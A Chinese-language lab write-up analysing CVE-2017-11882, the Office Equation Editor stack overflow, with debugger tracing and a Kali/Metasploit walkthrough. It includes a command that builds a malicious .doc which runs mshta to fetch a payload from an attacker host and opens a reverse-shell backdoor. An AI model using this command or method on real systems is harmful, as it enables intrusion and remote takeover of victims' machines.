软件名称:Office2016以下
软件版本:2016以下
漏洞模块:EQNEDT32.EXE
模块版本:6.1.95.45
编译日期:2000-11-9 操作系统:Windows XP/2003/7/8.1/10
漏洞编号:cve-2017-11882
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程
软件简介
Microsoft Office 是微软公司针对 Windows 操作系统所推出的办公室套装软件
公式编辑器是office的其中一个组件,为一个独立的EXE,程序发布的是2000年,使用VC4.X编译器所生成
漏洞成因
公式编辑器存在缓冲区溢出漏洞。
该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。函数给Font Name数据分配的大小是0x24个字节,超过该大小就会造成溢出。
利用过程
打开含有恶意代码的Word文档,会弹出一个计算器。
使用OD附加EQNEDT32.EXE进程。在创建进程相关的函数下断点。
发现是使用WinExec创建的计算器进程
通过栈回溯,找到上一层地址
来到这段代码,做个记录
找到这段代码的最头部,下一个断点,再次打开带有恶意代码的Word文档
发现了拷贝溢出点
将传入的参数,拷贝到栈里,然后覆盖了原有的返回地址。
使用IDA分析
返回地址被修改为本模块内的一个地址
发现是调用本模块的WinExec代码,
巧妙的将命令行cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA
当作参数,调用WinExec函数执行指定的程序。
最终弹出了计算器。
PoC
在kali虚拟机配置好环境
首先进入msfconsole,根据cve编号搜索指定的漏洞
使用第一个漏洞
然后设置payload使用tcp反弹回连的方式
接着配置好一些必要的信息,设置本机的监听ip与端口,一般端口默认即可,还有一个资源下载的目录urlpath
设置完毕之后,就可以开始攻击了
使用Kali Metasploit生成后门木马
将CVE-2017-11882.py的脚本放置到桌面
使用该脚本生成一个后门木马
python CVE-2017-11882.py -c “mshta.exe http://192.168.1.70:8080/1” -o 11882.doc
在win7上运行后门木马
运行后没有任何明显的反映,但是Metasploit中已经连接上了
在Metasploit中连接,操作后门
发现目标机器已经连接上了,此时可以任意操控后门,上传下载文件。
结语
漏洞影响的范围比较大,公式编辑器一直从2000版本以来保留使用到2016版本
使用的编译器也比较老久,没有对内存长度进行检查,所以容易造成缓冲区溢出,且可以利用该漏洞为所欲为。